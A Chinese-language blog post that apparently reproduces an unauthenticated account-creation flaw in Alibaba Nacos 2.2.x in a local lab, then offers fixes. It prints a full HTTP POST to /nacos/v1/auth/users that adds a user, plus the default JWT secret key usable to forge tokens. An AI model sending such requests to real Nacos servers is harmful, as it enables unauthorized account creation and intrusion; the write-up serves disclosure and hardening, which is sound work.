目录
什么是nacos
漏洞复现过程
解压、修改配置文件、启动、
复现任意创建账户漏洞
问题分析
修改建议
什么是nacos
Nacos 是阿里巴巴推出来的一个新开源项目,这是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。
NACOS界面提示“内部系统、不可暴露到公网”个人也是建议第三方非系统程序、服务于系统程序的第三方软件建议部署在内网、不要暴露在公网上、避免安全事故发生。
漏洞复现过程
- 下载地址一:nacos2.2.1windos版本
https://objects.githubusercontent.com/github-production-release-asset-2e65be/137451403/5c80d17e-e790-414e-9229-a621f088e262?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230818%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230818T132716Z&X-Amz-Expires=300&X-Amz-Signature=fc0dfecce40cb7055371adef9219f28cb2514890b51c505fb4be8bd3307cfd1e&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=137451403&response-content-disposition=attachment%3B%20filename%3Dnacos-server-2.1.2.zip&response-content-type=application%2Foctet-stream
- 下载地址二:nacos2.2.3windows版本
https://objects.githubusercontent.com/github-production-release-asset-2e65be/137451403/6c4fd4b7-3b7b-43f4-ac30-228a6ce9e7c9?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230818%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230818T143618Z&X-Amz-Expires=300&X-Amz-Signature=6c4cc309aee5eb1c1aba2b6147643a00d4c2e15d16eb99ab103f39bb154ecb61&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=137451403&response-content-disposition=attachment%3B%20filename%3Dnacos-server-2.2.3.zip&response-content-type=application%2Foctet-stream
- 下载地址三:nacos2.2.3linux版本
https://objects.githubusercontent.com/github-production-release-asset-2e65be/137451403/3c33d431-6d6e-4b76-a68a-63b054a11fe6?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230818%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230818T143621Z&X-Amz-Expires=300&X-Amz-Signature=f40bae01cb434457ecbe44fab4f25440245e8609fbd46619af4d4be7cdbbd1be&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=137451403&response-content-disposition=attachment%3B%20filename%3Dnacos-server-2.2.3.tar.gz&response-content-type=application%2Foctet-stream
- 下载地址四其他版本地址
Releases · alibaba/nacos · GitHub
解压、修改配置文件、启动、
前置条件
1、检查系统是否安装jdk环境
2、记事本打开修改set MODE="standalone"为修改后的值保存退出
3、启动
4、访问地址默认账户nacos 密码nacos
复现任意创建账户漏洞
首先界面添加添加一个nacos账户、抓包
该接口是添加用户接口、发现接口参数包含accessToken用户认证票据、但是由于nacos我们没有开启鉴权模式、所以服务端不会对accessToken进行校验、从而导致此漏洞发生
POST /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MjQyNjM2OX0.ExBjvC-4gayzUqIKcmr7vkFvva9Xph8P7JQTzxxpHyg HTTP/1.1
Host: 192.168.0.101:8848
Content-Length: 29
Accept: application/json, text/plain, */*
accessToken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MjQyNjM2OX0.ExBjvC-4gayzUqIKcmr7vkFvva9Xph8P7JQTzxxpHyg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.0.101:8848
Referer: http://192.168.0.101:8848/nacos/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=134904554562CED3B7C41F6D3E01CDA7
Connection: close
username=nacos2&password=1234
或者使用postman
接口http://192.168.0.101:8848/nacos/v1/auth/users
参数username=nacos3 password=1
添加成功
其他编辑用户、删除用户、查看用户接口不在演示
问题分析
进入E:\nacos-server-2.2.3\nacos\conf 安装目录有个application.properties配置
问题一:认证鉴权配置 nacos.core.auth.enabled=false 关闭状态
问题二:secret.key nacos<2.2.1版本密钥在配置文件存在默认值
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
可以伪造Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MjQyNjM2OX0.ExBjvC-4gayzUqIKcmr7vkFvva9Xph8P7JQTzxxpHyg
例如nacos输入用户和密码验证OK。服务端返回accessToken
使用JWT在线反解、加密生成jtw token
但是打开认证鉴权模式后,尝试使用JWT在线生成生成Authorization票据绕过认证创建账户、比较遗憾未复现出密钥固定值存在安全风险的漏洞
修改建议
1、认证鉴权配置
application.properties文件 nacos.core.auth.enabled=false 关闭状态修改为true
2、nacos.core.auth.plugin.nacos.token.secret.key naocs版本低于2.2.1修改默认值key
=SecretKey012345678901234567890123456789012345678901234567890123456789默认值及时修改
3、更新nacos版本至2.2.3版本或者版本、目前2.2.3版本
nacos.core.auth.plugin.nacos.token.secret.key=""已经被修改、key默认值为空了
今天就到这里把祝大家周末愉快!!!!